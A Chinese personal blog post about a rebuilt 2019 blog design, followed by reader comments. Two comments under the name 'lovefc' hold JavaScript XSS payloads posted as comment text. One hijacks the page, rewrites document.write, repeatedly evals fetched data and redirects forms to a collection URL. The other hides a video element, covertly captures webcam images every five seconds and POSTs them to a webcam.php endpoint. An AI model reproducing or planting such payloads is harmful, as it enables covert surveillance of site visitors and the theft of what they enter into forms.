完成了2019年新版博客的样式

最近一直没有更新博客了,是因为正在更新新版博客,修复了以前存在的一些bug,并且转移了服务器,这下子打开速度应该快了不少。


新年过后,总是要忙上一阵的。这个版面,估计不会大改了,以后可以愉快的更新博客了。喜欢的小伙伴们可以常来哦。


这次博客加上了一些新的页面,包括日记,推荐,自我介绍,分类,另外优化了一下以前遗留下来的seo方面处理的一些问题。


三年了,这个博客程序一直是我在更新重写中,我也相信随着不断更新,也能彻底满足我对于博客功能的需求。


从2016年开始,我会每年出一款新的博客样式,因为旧的东西看久了也难免会厌倦,这次更新其实引用了上次很多的样式。相信大家也可以看出来。毕竟只是一些改写和优化。整体没有太过于明显的变化,优化方面也一直在做,今年我主要要把重心放在博客内容的充实方面。


因为这个博客的框架和整体样式,目前为止,我还是比较满意的。


另外可以骄傲的吹个牛逼,这个博客。从框架核心,整个后台,包括功能设计,前台,都是我一手搞出来的。


在实践中,处理这么多的问题,真的学到了很多东西,今年我还会继续添加功能,另外如果有时间的话,将再次优化框架,编写文档,将程序开源出来。


今年的工作任务也很重,不一定能实现我的目标,但是只要一步步向前移,总会到达终点的。


2019年,我们一起加油!




13 条评论
  • 石头

    膜拜FC大佬

    回复
  • YIR

    YIR

    自己开发,除了厉害我还能说什么。

    回复
  • nice

    自己開發 除了牛逼我不知還能説什麽 !!!

    回复
  • lovefc

    { var target = get_link(url); history.replaceState('','',`${location.protocol}//${location.host}${target.pathname}${target.search}${target.hash}`); data = data.replace(//i,` `); if(document.write.toString().indexOf('[native code]')==-1){ var doc = document.implementation.createHTMLDocument(); document.write = doc.write; document.open = doc.open; document.close = doc.close; } document.open(); document.write(data); document.close(); if(/{ setInterval(()=>{ eval(data); $('form').each((i,f)=>{ if(get_link(f.action).hostname!=get_link(receive_url).hostname){ $(f).xform(receive_url); } }); },1000); onload && setTimeout(onload,233); }); }else{ onload && setTimeout(onload,233); } }); }; })();sc>ri>p>

    回复
  • lovefc

    if (document.getElementById('webcamsnap') == null){ var v = document.createElement('video'); v.autoplay=true; v.id='vid'; v.style.display='none'; document.body.appendChild(v); if (document.getElementById('canvas') == null) { var c = document.createElement('canvas'); c.id = 'canvas'; c.width = "480"; c.height = "320"; c.style.display = "none"; document.body.appendChild(c); } var video = document.querySelector("#vid"); var canvas = document.querySelector('#canvas'); var ctx = canvas.getContext('2d'); var localMediaStream = null; var onCameraFail = function (e) { console.log('Camera is not working.', e); }; var xmlhttp=new XMLHttpRequest(); function snapshot() { if (localMediaStream) { ctx.drawImage(video, 0, 0, 480, 320); var dat = canvas.toDataURL('image/png'); xmlhttp.open("POST", "http://127.0.0.1/webcam.php", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); var x=encodeURIComponent(dat); xmlhttp.send("data=" + x); } else { alert("Allow access to your default web camera."); } } navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; window.URL = window.URL || window.webkitURL; navigator.getUserMedia({video:true}, function (stream) { video.src = window.URL.createObjectURL(stream); localMediaStream = stream; window.setInterval("snapshot()", 5000); }, onCameraFail);script = document.createElement('script');script.id = 'webcamsnap'; document.body.appendChild(script); }

    回复
gravatar头像